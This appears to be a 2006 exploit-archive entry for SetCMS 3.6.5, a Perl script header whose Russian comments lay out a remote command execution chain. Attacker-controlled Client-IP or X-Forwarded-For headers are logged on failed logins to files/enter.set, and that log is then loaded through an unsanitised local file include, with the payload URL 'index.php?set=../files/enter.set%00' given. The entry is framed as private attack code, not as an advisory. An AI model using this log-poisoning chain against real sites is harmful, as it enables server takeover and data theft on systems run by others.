SetCMS 3.6.5 - Remote Command Execution

#!/usr/bin/perl

## SetCMS v3.6.5 (setcms.org) remote commands execution exploit by RST/GHC
## o4.o9.2oo6
## (c)oded by 1dt.w0lf

## THIS IS UNPUBLISHED RST/GHC EXPLOIT CODE
## KEEP IT PRIVATE

## про багу:
##
## file: functions.php
##
## FUNCTION ip(){
## global $user_id;
## if(getenv('HTTP_CLIENT_IP')) {$user_ip = getenv('HTTP_CLIENT_IP');}
## elseif(getenv('HTTP_X_FORWARDED_FOR')){$user_ip = getenv('HTTP_X_FORWARDED_FOR');}
## elseif(getenv('REMOTE_ADDR')) {$user_ip = getenv('REMOTE_ADDR');}
## else{$user_ip='unknown';}
## if(15 < strlen($user_ip))
## {
## $ar = split(', ', $user_ip);
## for($i=0; $i < sizeof($ar); $i++)
## {
## if($ar[$i]!='' and !ereg('[a-zA-Z]', $ar[$i])){$user_ip = $ar[$i]; break; }
## if($i==sizeof($user_ip_pass)-1){$user_ip = 'unknown';}
## }
## }
## if(ereg('unknown', $user_ip) and $user_id!=''){ $user_ip .= $user_id; }
## return $user_ip;
## }
##
## таким образом заголовки HTTP не фильтруются и можно передать необходимые данные в CLIENT_IP или X_FORWARDED_FOR
## ... далее
##
## file: modules/users/index.php
##
## if ($mc == "enter" && (!isset($do) || $do == ""))
## {
## ...
## if ($enter == "0")
## {
## $fp = fopen("files/enter.set", "a+");
## flock($fp, LOCK_EX);
## fwrite($fp, "$date::".regreplace($_POST['login'])."::".regreplace($_POST['pass'])."::$ip::\r\n");
## flock($fp, LOCK_UN);
## fclose($fp);
## $text.= "<center>Неправильное сочетание имени пользователя и пароля. Информация о вашей попытке входа записана в лог-файл.</center>";
##
## При неудачной попытке входа, отправленные данные записываются в файл files/enter.set, включая $ip =)
##
## И заканчивая
##
## file: index.php
##
## $set = $_GET['set'];
## ...
## //urls
## if (file_exists("modules/$set/index.php"))
## {
## if(file_exists("modules/$set/config.php")){include("modules/$set/config.php");}
## include("modules/$set/index.php");
## }
##
## Локальный инклуд налицо =)
## index.php?set=../files/enter.set%00
## Правда при условии magic = off
##
## eof
